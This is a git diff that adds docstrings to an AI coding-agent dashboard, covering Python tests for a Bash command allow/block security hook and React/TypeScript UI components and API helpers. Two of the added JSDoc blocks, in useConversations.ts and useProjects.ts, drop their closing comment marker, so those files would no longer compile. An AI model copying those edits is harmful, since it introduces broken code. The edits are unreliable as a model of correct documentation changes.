test_hierarchy_resolution(): def test_org_blocklist_enforcement(): - """Test that org-level blocked commands cannot be used.""" + """ + Verify organization-level blocked commands are enforced by the security hook. + + Returns: + (int, int): Tuple of (passed, failed) counts for this test. + """ print("\nTesting org blocklist enforcement:\n") passed = 0 failed = 0 @@ -972,6 +1044,16 @@ def test_pkill_extensibility(): def main(): + """ + Run the full security hook test suite, printing PASS/FAIL output and a final summary. + + Executes all unit and integration-style test groups for command extraction, validation, + pattern matching, YAML/org/project config loading, blocklist enforcement, injection + prevention, pkill extensibility, and example allow/block command checks. + + Returns: + int: 0 if all tests passed, 1 if any test failed. + """ print("=" * 70) print(" SECURITY HOOK TESTS") print("=" * 70) @@ -1162,4 +1244,4 @@ def main(): if __name__ == "__main__": - sys.exit(main()) + sys.exit(main()) \ No newline at end of file diff --git a/tests/test_security_integration.py b/tests/test_security_integration.py index f189958..ae05825 100644 --- a/tests/test_security_integration.py +++ b/tests/test_security_integration.py @@ -28,13 +28,12 @@ @contextmanager def temporary_home(home_path): """ - Context manager to temporarily set HOME (and Windows equivalents). - - Saves original environment variables and restores them on exit, - even if an exception occurs. - - Args: - home_path: Path to use as temporary home directory + Temporarily set the process home directory environment variables for the duration of a context. + + This context manager sets HOME (and on Windows, USERPROFILE and, if available, HOMEDRIVE/HOMEPATH) to the provided path for the lifetime of the context. On exit it restores the previous environment values; keys that did not exist before entering the context are removed. Restoration occurs even if the context body raises an exception. + + Parameters: + home_path (str or pathlib.Path): Path to use as the temporary home directory. """ # Save original values for Unix and Windows saved_env = { @@ -70,7 +69,14 @@ def temporary_home(home_path): def test_blocked_command_via_hook(): - """Test that hardcoded blocked commands are rejected by the security hook.""" + """ + Validate that the Bash security hook rejects hardcoded blocked commands (for example, `sudo`). + + Runs the hook against a minimal project configuration and asserts that a command known to be disallowed is blocked. + + Returns: + bool: `True` if the hook decision is `"block"`, `False` otherwise. + """ print("\n" + "=" * 70) print("TEST 1: Hardcoded blocked command (sudo)") print("=" * 70) @@ -105,7 +111,12 @@ def test_blocked_command_via_hook(): def test_allowed_command_via_hook(): - """Test that default allowed commands work.""" + """ + Verify that the Bash security hook permits the `ls` command by default. + + Returns: + bool: True if the hook decision is not "block" (ls allowed), False otherwise. + """ print("\n" + "=" * 70) print("TEST 2: Default allowed command (ls)") print("=" * 70) @@ -170,7 +181,14 @@ def test_non_allowed_command_via_hook(): def test_project_config_allows_command(): - """Test that adding a command to project config allows it.""" + """ + Verify that a command listed in the project's allowed_commands.yaml is permitted by the Bash security hook. + + Creates a temporary project configuration that includes `swift` in the allowed commands and asserts the hook does not block `swift --version`. + + Returns: + bool: `True` if the hook permits the command, `False` if it blocks it. + """ print("\n" + "=" * 70) print("TEST 4: Project config allows command (swift)") print("=" * 70) @@ -205,7 +223,14 @@ def test_project_config_allows_command(): def test_pattern_matching(): - """Test that wildcard patterns work correctly.""" + """ + Verify that wildcard patterns in a project's allowed_commands.yaml match command names (e.g., 'swift*' matches 'swiftlint'). + + Runs the bash security hook using a temporary project config containing a pattern and checks whether a command matching that pattern is permitted. + + Returns: + True if the command matched the pattern and was allowed, False otherwise. + """ print("\n" + "=" * 70) print("TEST 5: Pattern matching (swift*)") print("=" * 70) @@ -238,7 +263,14 @@ def test_pattern_matching(): def test_org_blocklist_enforcement(): - """Test that org-level blocked commands cannot be overridden.""" + """ + Verify that organization-level blocked commands cannot be overridden by a project's allowed_commands configuration. + + Runs an integration scenario where an org config blocks specific commands (e.g., `terraform`), a project attempts to allow the same command, and the bash security hook is invoked. The test passes when the hook decision is `"block"` for the blocked command. + + Returns: + bool: `True` if the security hook blocks the command (test passes), `False` otherwise. + """ print("\n" + "=" * 70) print("TEST 6: Org blocklist enforcement (terraform)") print("=" * 70) @@ -286,7 +318,12 @@ def test_org_blocklist_enforcement(): def test_org_allowlist_inheritance(): - """Test that org-level allowed commands are available to projects.""" + """ + Verify that organization-level allowed commands are inherited by a project. + + Returns: + bool: `True` if the command `jq '.data'` is permitted via the org config, `False` otherwise. + """ print("\n" + "=" * 70) print("TEST 7: Org allowlist inheritance (jq)") print("=" * 70) @@ -327,7 +364,14 @@ def test_org_allowlist_inheritance(): def test_invalid_yaml_ignored(): - """Test that invalid YAML config is safely ignored.""" + """ + Verify that an invalid project allowed_commands.yaml is ignored and the default allowlist is used. + + Creates a temporary project containing malformed YAML and invokes the Bash security hook with the command "ls". The test passes if the hook does not block the command. + + Returns: + bool: True if the hook did not block "ls" (invalid YAML ignored), False otherwise. + """ print("\n" + "=" * 70) print("TEST 8: Invalid YAML safely ignored") print("=" * 70) @@ -356,7 +400,14 @@ def test_invalid_yaml_ignored(): def test_100_command_limit(): - """Test that configs with >100 commands are rejected.""" + """ + Verify that an allowed_commands.yaml containing more than 100 entries is rejected by the Bash security hook. + + Creates a temporary project config with 101 command entries and invokes the hook expecting a "block" decision. + + Returns: + bool: `True` if the hook blocks the command (indicating the config was rejected), `False` otherwise. + """ print("\n" + "=" * 70) print("TEST 9: 100 command limit enforced") print("=" * 70) @@ -390,6 +441,14 @@ def test_100_command_limit(): def main(): + """ + Run the security integration test suite and report pass/fail results. + + Executes a predefined set of integration tests for the Bash security hook, printing per-test failures (including exceptions) and a final summary. Tests are run sequentially; successes and failures are counted and displayed. + + Returns: + exit_code (int): 0 if all tests passed, 1 if any test failed. + """ print("=" * 70) print(" SECURITY INTEGRATION TESTS") print("=" * 70) @@ -437,4 +496,4 @@ def main(): if __name__ == "__main__": - sys.exit(main()) + sys.exit(main()) \ No newline at end of file diff --git a/ui/src/App.tsx b/ui/src/App.tsx index 960a889..a4ecf4e 100644 --- a/ui/src/App.tsx +++ b/ui/src/App.tsx @@ -37,6 +37,13 @@ import { Badge } from '@/components/ui/badge' const STORAGE_KEY = 'autocoder-selected-project' const VIEW_MODE_KEY = 'autocoder-view-mode' +/** + * Root application component that manages project selection, feature orchestration, UI state, real-time agent status, and IDE integration. + * + * Renders the AutoCoder dashboard: header controls, project selector, progress and agent mission panels, Kanban or dependency graph views, modals (add feature, feature detail, expand project, spec creation, settings, IDE selection), assistant UI, debug log viewer, and celebration overlay. Persists selected project and view mode to localStorage, wires keyboard shortcuts, polls agent status via WebSocket, and triggers auxiliary side effects (feature sounds, celebrations, graph refresh). + * + * @returns The application's root JSX element. + */ function App() { // Initialize selected project from localStorage const [selectedProject, setSelectedProject] = useState(() => { @@ -577,4 +584,4 @@ function App() { ) } -export default App +export default App \ No newline at end of file diff --git a/ui/src/components/AssistantPanel.tsx b/ui/src/components/AssistantPanel.tsx index 36e8448..690be33 100644 --- a/ui/src/components/AssistantPanel.tsx +++ b/ui/src/components/AssistantPanel.tsx @@ -43,6 +43,14 @@ function setStoredConversationId(projectName: string, conversationId: number | n } } +/** + * Displays the project assistant slide-over panel and manages the current conversation state for the specified project. + * + * @param projectName - Project identifier shown in the header and used to scope persisted conversation ID + * @param isOpen - Whether the panel is visible + * @param onClose - Callback invoked when the panel or backdrop is clicked to close it + * @returns The AssistantPanel React element + */ export function AssistantPanel({ projectName, isOpen, onClose }: AssistantPanelProps) { // Load initial conversation ID from localStorage const [conversationId, setConversationId] = useState(() => @@ -166,4 +174,4 @@ export function AssistantPanel({ projectName, isOpen, onClose }: AssistantPanelP ) -} +} \ No newline at end of file diff --git a/ui/src/components/ConversationHistory.tsx b/ui/src/components/ConversationHistory.tsx index a9e701a..8d1c18d 100644 --- a/ui/src/components/ConversationHistory.tsx +++ b/ui/src/components/ConversationHistory.tsx @@ -44,6 +44,20 @@ function formatRelativeTime(dateString: string | null): string { return date.toLocaleDateString() } +/** + * Render a conversation history dropdown for selecting or deleting past conversations. + * + * Displays a scrollable list of past conversations with message counts and relative update times, + * allows selecting a conversation (which closes the dropdown), and provides a confirmation dialog for deletion. + * The dropdown closes when `isOpen` is false or when the Escape key is pressed. + * + * @param projectName - The project identifier used to load and mutate conversations + * @param currentConversationId - The currently active conversation id; its list entry is shown as current and cannot be selected for switching + * @param isOpen - Whether the dropdown is visible + * @param onClose - Callback invoked to close the dropdown + * @param onSelectConversation - Callback invoked with a conversation id when a non-current conversation is selected + * @returns The rendered dropdown element, or `null` when `isOpen` is false + */ export function ConversationHistory({ projectName, currentConversationId, @@ -212,4 +226,4 @@ export function ConversationHistory({ /> ) -} +} \ No newline at end of file diff --git a/ui/src/components/DebugLogViewer.tsx b/ui/src/components/DebugLogViewer.tsx index 9075d71..675e98f 100644 --- a/ui/src/components/DebugLogViewer.tsx +++ b/ui/src/components/DebugLogViewer.tsx @@ -38,6 +38,16 @@ interface DebugLogViewerProps { type LogLevel = 'error' | 'warn' | 'debug' | 'info' +/** + * A fixed, resizable bottom panel that displays real-time agent and dev-server logs and hosts managed terminals in separate tabs. + * + * Persists the panel height and selected tab to localStorage, auto-scrolls each log view unless the user scrolls up, and fetches/manages terminals for the current project. + * + * @param onHeightChange - Optional callback invoked with the panel height when the panel is open and the height changes + * @param activeTab - Optional controlled active tab ('agent' | 'devserver' | 'terminal'); when omitted the component manages active tab internally and persists it to localStorage + * @param onTabChange - Optional callback called when the active tab changes + * @returns The rendered DebugLogViewer React element + */ export function DebugLogViewer({ logs, devLogs, @@ -583,4 +593,4 @@ export function DebugLogViewer({ } // Export the TabType for use in parent components -export type { TabType } +export type { TabType } \ No newline at end of file diff --git a/ui/src/components/IDESelectionModal.tsx b/ui/src/components/IDESelectionModal.tsx index 169ea1a..91dbfdb 100644 --- a/ui/src/components/IDESelectionModal.tsx +++ b/ui/src/components/IDESelectionModal.tsx @@ -25,6 +25,15 @@ const IDE_OPTIONS: { id: IDEType; name: string; description: string }[] = [ { id: 'antigravity', name: 'Antigravity', description: 'Claude-native development environment' }, ] +/** + * Render a modal that lets the user choose an IDE and optionally remember that choice. + * + * @param isOpen - Whether the modal is visible + * @param onClose - Called when the modal is closed or the Cancel action is triggered + * @param onSelect - Called with the selected IDE and the remember flag when the user confirms + * @param isLoading - When true, disables interactions and shows a loading state + * @returns The rendered IDE selection modal element + */ export function IDESelectionModal({ isOpen, onClose, onSelect, isLoading }: IDESelectionModalProps) { const [selectedIDE, setSelectedIDE] = useState(null) const [rememberChoice, setRememberChoice] = useState(true) @@ -107,4 +116,4 @@ export function IDESelectionModal({ isOpen, onClose, onSelect, isLoading }: IDES ) -} +} \ No newline at end of file diff --git a/ui/src/components/ProjectSelector.tsx b/ui/src/components/ProjectSelector.tsx index 5973895..e5805b8 100644 --- a/ui/src/components/ProjectSelector.tsx +++ b/ui/src/components/ProjectSelector.tsx @@ -22,6 +22,16 @@ interface ProjectSelectorProps { onSpecCreatingChange?: (isCreating: boolean) => void } +/** + * Renders a dropdown UI for selecting, creating, and deleting projects. + * + * The component shows the currently selected project (with stats if available), + * a list of existing projects with delete controls, and an option to create a new project. + * + * @param onSelectProject - Callback invoked with the selected project name, or `null` to clear selection + * @param onSpecCreatingChange - Optional callback that receives `true` when the new-project creation flow is in the "chat" step and `false` otherwise + * @returns The rendered ProjectSelector component + */ export function ProjectSelector({ projects, selectedProject, @@ -172,4 +182,4 @@ export function ProjectSelector({ /> ) -} +} \ No newline at end of file diff --git a/ui/src/components/ProjectSetupRequired.tsx b/ui/src/components/ProjectSetupRequired.tsx index 1db5a35..beffa88 100644 --- a/ui/src/components/ProjectSetupRequired.tsx +++ b/ui/src/components/ProjectSetupRequired.tsx @@ -17,6 +17,18 @@ interface ProjectSetupRequiredProps { onSetupComplete: () => void } +/** + * Presents a setup UI for projects that are missing an app specification and guides the user + * through creating one either via an interactive Claude-assisted chat or by editing template files manually. + * + * When the Claude flow completes, the component attempts to start the project agent and reports failures + * so the user can retry; on successful completion (or when the user chooses the manual path) it invokes the + * provided `onSetupComplete` callback. + * + * @param projectName - Name of the project that requires an app specification + * @param onSetupComplete - Callback invoked after setup finishes or the user exits to the project + * @returns The React element that renders the project setup UI + */ export function ProjectSetupRequired({ projectName, onSetupComplete }: ProjectSetupRequiredProps) { const [showChat, setShowChat] = useState(false) const [initializerStatus, setInitializerStatus] = useState('idle') @@ -172,4 +184,4 @@ export function ProjectSetupRequired({ projectName, onSetupComplete }: ProjectSe )} ) -} +} \ No newline at end of file diff --git a/ui/src/components/ResetProjectModal.tsx b/ui/src/components/ResetProjectModal.tsx index a17022a..3749192 100644 --- a/ui/src/components/ResetProjectModal.tsx +++ b/ui/src/components/ResetProjectModal.tsx @@ -8,6 +8,17 @@ interface ResetProjectModalProps { onReset?: () => void } +/** + * Renders a modal that lets the user perform either a quick or full reset of a project. + * + * The modal shows explanatory details about what will be deleted or preserved for each mode, + * displays any error returned by the reset operation, and disables actions while the reset is pending. + * + * @param projectName - The name of the project being reset; displayed in the dialog. + * @param onClose - Callback invoked to close the modal. + * @param onReset - Optional callback invoked after a successful reset, before the modal is closed. + * @returns A React element representing the reset confirmation modal. + */ export function ResetProjectModal({ projectName, onClose, onReset }: ResetProjectModalProps) { const [error, setError] = useState(null) const [fullReset, setFullReset] = useState(false) @@ -172,4 +183,4 @@ export function ResetProjectModal({ projectName, onClose, onReset }: ResetProjec ) -} +} \ No newline at end of file diff --git a/ui/src/components/ScheduleModal.tsx b/ui/src/components/ScheduleModal.tsx index a8223b9..46fccf1 100644 --- a/ui/src/components/ScheduleModal.tsx +++ b/ui/src/components/ScheduleModal.tsx @@ -43,6 +43,17 @@ interface ScheduleModalProps { onClose: () => void } +/** + * Modal for viewing, creating, enabling/disabling, and deleting agent schedules for a project. + * + * Manages local form state for creating schedules (start time, duration, days, YOLO mode, concurrency, optional model), + * converts between local and UTC times with day-shift adjustments, and exposes actions to create, toggle, and delete schedules. + * + * @param projectName - The project identifier whose schedules are managed + * @param isOpen - Whether the modal is currently open + * @param onClose - Callback invoked when the modal should be closed + * @returns A React element rendering the schedule management modal + */ export function ScheduleModal({ projectName, isOpen, onClose }: ScheduleModalProps) { const modalRef = useRef(null) const firstFocusableRef = useRef(null) @@ -400,4 +411,4 @@ export function ScheduleModal({ projectName, isOpen, onClose }: ScheduleModalPro ) -} +} \ No newline at end of file diff --git a/ui/src/components/SettingsModal.tsx b/ui/src/components/SettingsModal.tsx index e1f5273..b9b266e 100644 --- a/ui/src/components/SettingsModal.tsx +++ b/ui/src/components/SettingsModal.tsx @@ -25,6 +25,16 @@ interface SettingsModalProps { onClose: () => void } +/** + * Renders the Settings modal allowing the user to view and update application preferences. + * + * Displays current settings and lets the user change theme, dark mode, YOLO mode, selected model, preferred IDE, and regression agent count. + * Shows loading and fetch-error states while loading settings, disables interactions while a save is in progress, and surfaces save errors with an alert. + * + * @param isOpen - Whether the modal is visible + * @param onClose - Callback invoked when the modal requests to close + * @returns The settings modal React element + */ export function SettingsModal({ isOpen, onClose }: SettingsModalProps) { const { data: settings, isLoading, isError, refetch } = useSettings() const { data: modelsData } = useAvailableModels() @@ -267,4 +277,4 @@ export function SettingsModal({ isOpen, onClose }: SettingsModalProps) { ) -} +} \ No newline at end of file diff --git a/ui/src/components/ThemeSelector.tsx b/ui/src/components/ThemeSelector.tsx index ff57e0f..5f180aa 100644 --- a/ui/src/components/ThemeSelector.tsx +++ b/ui/src/components/ThemeSelector.tsx @@ -9,6 +9,14 @@ interface ThemeSelectorProps { onThemeChange: (theme: ThemeId) => void } +/** + * Render a hover-activated theme selector dropdown that previews themes on hover and applies a selection on click. + * + * @param themes - The list of available theme options to display in the dropdown. + * @param currentTheme - The identifier of the currently active theme. + * @param onThemeChange - Callback invoked with the chosen `ThemeId` when a theme is clicked. + * @returns A JSX element containing a button that opens a theme dropdown; hovering an item shows a temporary preview, and clicking an item applies the theme via `onThemeChange`. + */ export function ThemeSelector({ themes, currentTheme, onThemeChange }: ThemeSelectorProps) { const [isOpen, setIsOpen] = useState(false) const [previewTheme, setPreviewTheme] = useState(null) @@ -160,4 +168,4 @@ export function ThemeSelector({ themes, currentTheme, onThemeChange }: ThemeSele )} ) -} +} \ No newline at end of file diff --git a/ui/src/hooks/useAssistantChat.ts b/ui/src/hooks/useAssistantChat.ts old mode 100755 new mode 100644 index d37d01f..fa0e330 --- a/ui/src/hooks/useAssistantChat.ts +++ b/ui/src/hooks/useAssistantChat.ts @@ -23,19 +23,31 @@ interface UseAssistantChatReturn { clearMessages: () => void; } +/** + * Creates a short, time-ordered identifier suitable for temporary unique IDs. + * + * @returns A string identifier combining the current timestamp and a random suffix + */ function generateId(): string { return `${Date.now()}-${Math.random().toString(36).substring(2, 9)}`; } /** - * Type-safe helper to get a string value from unknown input + * Return the input if it is a string, otherwise return the provided fallback. + * + * @param value - The value to check for a string + * @param fallback - The string to return when `value` is not a string + * @returns The original `value` when it is a string, otherwise `fallback` */ function getStringValue(value: unknown, fallback: string): string { return typeof value === "string" ? value : fallback; } /** - * Type-safe helper to get a feature ID from unknown input + * Converts a numeric or string feature identifier into a stable string, returning `"unknown"` for other types. + * + * @param value - The value to derive a feature ID from. + * @returns The input coerced to a string when `value` is a number or string, otherwise `"unknown"`. */ function getFeatureId(value: unknown): string { if (typeof value === "number" || typeof value === "string") { @@ -45,7 +57,11 @@ function getFeatureId(value: unknown): string { } /** - * Get a user-friendly description for tool calls + * Produce a concise, user-facing description for a tool call. + * + * @param tool - The tool identifier (may be prefixed with `mcp__features__`). + * @param input - The tool call payload; specific fields (e.g., `name`, `features`, `feature_id`, `file_path`, `pattern`) are used to build the description when available. + * @returns A human-readable description of the requested tool action. */ function getToolDescription( tool: string, @@ -82,6 +98,21 @@ function getToolDescription( } } +/** + * React hook that manages an assistant chat over a WebSocket for the specified project. + * + * @param projectName - Project identifier used to construct the assistant WebSocket URL + * @param onError - Optional callback invoked with a human-readable error message when connection or server errors occur + * @returns An object exposing chat state and controls: + * - `messages`: chat history array + * - `isLoading`: whether the assistant is currently producing a response + * - `connectionStatus`: WebSocket connection state ("disconnected" | "connecting" | "connected" | "error") + * - `conversationId`: current conversation identifier or `null` + * - `start(conversationId?)`: initiate or resume a conversation + * - `sendMessage(content)`: send a user message to the assistant + * - `disconnect()`: close the connection and stop reconnection attempts + * - `clearMessages()`: clear the local message history (does not reset `conversationId`) + */ export function useAssistantChat({ projectName, onError, @@ -449,4 +480,4 @@ export function useAssistantChat({ disconnect, clearMessages, }; -} +} \ No newline at end of file diff --git a/ui/src/hooks/useConversations.ts b/ui/src/hooks/useConversations.ts index c3b50de..c0c48dd 100644 --- a/ui/src/hooks/useConversations.ts +++ b/ui/src/hooks/useConversations.ts @@ -18,8 +18,11 @@ export function useConversations(projectName: string | null) { } /** - * Get a single conversation with all its messages - */ + * Retrieve a single conversation and its messages for the given project and conversation ID. + * + * The query is enabled only when both `projectName` and `conversationId` are truthy, caches results for 30 seconds, and applies a retry policy that does not retry on "not found" (HTTP 404) errors and otherwise allows up to 3 attempts. + * + * @returns The React Query result containing the conversation and its messages, along with query metadata. export function useConversation(projectName: string | null, conversationId: number | null) { return useQuery({ queryKey: ['conversation', projectName, conversationId], @@ -55,4 +58,4 @@ export function useDeleteConversation(projectName: string) { queryClient.removeQueries({ queryKey: ['conversation', projectName, deletedId] }) }, }) -} +} \ No newline at end of file diff --git a/ui/src/hooks/useProjects.ts b/ui/src/hooks/useProjects.ts index 227b27c..2c1c71d 100644 --- a/ui/src/hooks/useProjects.ts +++ b/ui/src/hooks/useProjects.ts @@ -37,6 +37,14 @@ export function useCreateProject() { }) } +/** + * Provides a React Query mutation for deleting a project by name. + * + * The mutation calls the API to delete the specified project and, on success, + * invalidates the cached project list so it is refetched. + * + * @returns A mutation object whose mutate/mutateAsync function accepts a single `name` string (the project name) and deletes that project. + */ export function useDeleteProject() { const queryClient = useQueryClient() @@ -48,6 +56,11 @@ export function useDeleteProject() { }) } +/** + * Provides a mutation hook to reset a project and refresh related cached data. + * + * @returns A React Query mutation object that accepts `{ name: string; fullReset?: boolean }` and, when executed, calls the API to reset the specified project. On success it invalidates the `['projects']`, `['features', name]`, and `['project', name]` query keys so related data is refetched. + */ export function useResetProject() { const queryClient = useQueryClient() @@ -257,6 +270,13 @@ const DEFAULT_SETTINGS: Settings = { preferred_ide: null, } +/** + * Fetches the list of available models for selection and display. + * + * The query provides cached model data (placeholder data is returned while loading) + * and refreshes at most every 5 minutes. + * + * @returns The current array of available models from cache or the API. While loading, `DEFAULT_MODELS` are returned as placeholder data. export function useAvailableModels() { return useQuery({ queryKey: ['available-models'], @@ -308,4 +328,4 @@ export function useUpdateSettings() { queryClient.invalidateQueries({ queryKey: ['settings'] }) }, }) -} +} \ No newline at end of file diff --git a/ui/src/lib/api.ts b/ui/src/lib/api.ts index 7593b93..1ba37ca 100644 --- a/ui/src/lib/api.ts +++ b/ui/src/lib/api.ts @@ -80,12 +80,28 @@ export async function getProject(name: string): Promise { return fetchJSON(`/projects/${encodeURIComponent(name)}`) } +/** + * Delete the project with the given name from the server. + * + * @param name - The project name to delete + */ export async function deleteProject(name: string): Promise { await fetchJSON(`/projects/${encodeURIComponent(name)}`, { method: 'DELETE', }) } +/** + * Trigger a reset for the specified project on the server. + * + * @param name - The project name or identifier + * @param fullReset - If `true`, perform a full reset that removes generated files; if `false`, perform a partial reset + * @returns An object with the reset result: + * - `success`: `true` if the reset succeeded, `false` otherwise + * - `message`: human-readable status or error message + * - `deleted_files`: list of file paths that were deleted during the reset + * - `full_reset`: `true` if a full reset was performed, `false` otherwise + */ export async function resetProject(name: string, fullReset: boolean = false): Promise<{ success: boolean message: string @@ -97,12 +113,25 @@ export async function resetProject(name: string, fullReset: boolean = false): Pr }) } +/** + * Opens the specified project in the given IDE. + * + * @param name - The project name or identifier + * @param ide - The IDE identifier or name to open the project in + * @returns An object with `status` describing the operation result and `message` containing a human-readable message + */ export async function openProjectInIDE(name: string, ide: string): Promise<{ status: string; message: string }> { return fetchJSON(`/projects/${encodeURIComponent(name)}/open-in-ide?ide=${encodeURIComponent(ide)}`, { method: 'POST', }) } +/** + * Retrieve the prompt configuration for a project. + * + * @param name - The project name + * @returns The project's `ProjectPrompts` object + */ export async function getProjectPrompts(name: string): Promise { return fetchJSON(`/projects/${encodeURIComponent(name)}/prompts`) } @@ -512,6 +541,12 @@ export async function deleteSchedule( }) } +/** + * Fetches the next scheduled run for a project. + * + * @param projectName - The project name used in the request path + * @returns Details of the next scheduled run as a `NextRunResponse` + */ export async function getNextScheduledRun(projectName: string): Promise { return fetchJSON(`/projects/${encodeURIComponent(projectName)}/schedules/next`) } @@ -536,10 +571,20 @@ export interface KnowledgeFileContent { content: string } +/** + * Retrieve the list of knowledge files for a project. + * + * @returns A `KnowledgeFileList` containing the project's knowledge files and the total `count` + */ export async function listKnowledgeFiles(projectName: string): Promise { return fetchJSON(`/projects/${encodeURIComponent(projectName)}/knowledge`) } +/** + * Retrieves the content of a knowledge file for a project. + * + * @returns The knowledge file's `name` and `content`. + */ export async function getKnowledgeFile( projectName: string, filename: string @@ -547,6 +592,11 @@ export async function getKnowledgeFile( return fetchJSON(`/projects/${encodeURIComponent(projectName)}/knowledge/${encodeURIComponent(filename)}`) } +/** + * Uploads a knowledge file to the specified project. + * + * @returns The stored knowledge file's `name` and `content` as a `KnowledgeFileContent` object + */ export async function uploadKnowledgeFile( projectName: string, filename: string, @@ -558,6 +608,12 @@ export async function uploadKnowledgeFile( }) } +/** + * Delete a knowledge file from the specified project. + * + * @param projectName - The project name or identifier containing the knowledge file + * @param filename - The name of the knowledge file to delete + */ export async function deleteKnowledgeFile( projectName: string, filename: string @@ -565,4 +621,4 @@ export async function deleteKnowledgeFile( await fetchJSON(`/projects/${encodeURIComponent(projectName)}/knowledge/${encodeURIComponent(filename)}`, { method: 'DELETE', }) -} +} \ No newline at end of file